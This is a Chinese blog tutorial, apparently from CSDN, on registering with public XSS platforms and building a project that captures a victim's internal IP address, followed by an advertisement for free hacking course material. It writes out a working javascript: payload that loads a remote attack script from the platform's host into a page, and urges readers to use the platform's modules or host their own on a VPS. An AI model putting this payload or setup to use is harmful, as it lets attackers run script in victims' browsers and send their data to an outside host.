web安全:XSS测试平台使用教程
我接触使用过三个XSS平台1.脚本非常丰富:[http://www.1oad.com](http://www.1oad.com/)2.简约:[https://xsspt.com](https://xsspt.com/)3.非常好用,自带模块成功获取到了内网ip(上面两个都没有成功):[https://xsshs.cn](https://xsshs.cn/)所以我这个文章也是简单的说说如何使用XSS
我接触使用过三个XSS平台
1.脚本非常丰富:http://www.1oad.com
2.简约:https://xsspt.com
3.非常好用,自带模块成功获取到了内网ip(上面两个都没有成功):https://xsshs.cn
所以我这个文章也是简单的说说如何使用XSS平台,以第三个平台为例说明;
一、注册用户并登录
二、创建项目
1.创建项目,创建完后会生成一个xss可用脚本地址
项目名称随意,项目描述随意;但是创建之后就不能更改了。
2.有很多可用的模块,我们这次要构建一个获取计算机内网ip地址的xss脚本,所以勾选获取内网ip模块;
这里也选择上
点击下一步就创建成功一个项目,如下:
上图中“xsshs.cn/JI9q” 就是本次构建攻击脚本,其中 JI9q就是id;
三、如何使用
(本次测试方法为自己本地测试----就是自己攻击自己,假设已经成功xss,然后查看xss的效果)
打开任意网站例如百度,如后输入
javascript:eval('window.s=document.createElement("script");window.s.src="//xsshs.cn/JI9q";document.body.appendChild(window.s)')
注意:其中src换成你自己的攻击脚本即可,然后回车
此时返回xss平台:
以上XSS平台 测试演示成功;
一定要多多利用平台上面各种脚本,那个才是根本,然后自己买一个VPS,不用这个平台也是可以的。
关于网络安全技术储备
学好网络安全不论是就业还是做副业赚钱都不错,但要学会网络安全还是要有一个学习规划。最后大家分享一份全套的网络安全学习资料,给那些想学习网络安全的小伙伴们一点帮助!
对于0基础小白入门:
如果你是零基础小白,想快速入门网络安全是可以考虑的。
一方面是学习时间相对较短,学习内容更全面更集中。
二方面是可以找到适合自己的学习方案
包括:网安成长学习路线图、SRC&黑客文档、护网行动、黑客必读书单、面试题、学习视频等教程。带你从零基础系统性的学好网络安全!
需要的可以微信扫描下方CSDN官方认证
二维码免费领取【保证100%免费
】
👉1.成长路线图&学习规划👈
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
👉2.网安入门到进阶视频教程👈
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程文末领取哈)
👉3.SRC&黑客文档👈
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录
SRC技术文籍:
黑客资料由于是敏感资源,这里不能直接展示哦!(全套教程文末领取哈)
👉4.护网行动资料👈
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
👉5.黑客必读书单👈
随着互联网技术的飞速发展,网络安全已经成为了当今科技领域的一大热点。这些SQL注入、CCNA、Web渗透、Linux服务器等,以其强大的语言理解和防御能力,正在守护着我们网络世界。 那以下这些PDF籍就是非常不错的学习资源。
👉6.网络安全岗面试题合集👈
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
这份完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】
更多推荐
所有评论(0)